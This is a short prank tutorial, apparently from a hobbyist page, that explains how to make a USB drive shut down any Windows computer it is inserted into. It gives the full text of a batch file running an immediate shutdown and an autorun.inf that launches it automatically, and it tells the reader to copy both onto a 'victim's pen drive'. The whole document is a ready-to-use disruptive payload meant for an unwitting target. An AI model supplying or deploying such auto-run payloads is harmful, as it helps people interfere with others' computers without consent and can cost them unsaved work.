How To Shutdown Computer Using Pendrive.

Step 1:>>copy this  code into notepad:

@echo off
shutdown -s -t 00
Save as fun.bat extension (for eg: clickme.bat).

Step 2: 

Now open the notepad and copy this code:

[autorun]
Open=filename.bat
Action=Mouse Disable

Save it as "autorun.inf"

//don't forget to change the "filname.bat" with your filname.bat.

Step 3: 

Then copy the two files in your pen drive or victim's pen drive.

That's all whenever the victim insert his pen drive,the system will be turned off automatically.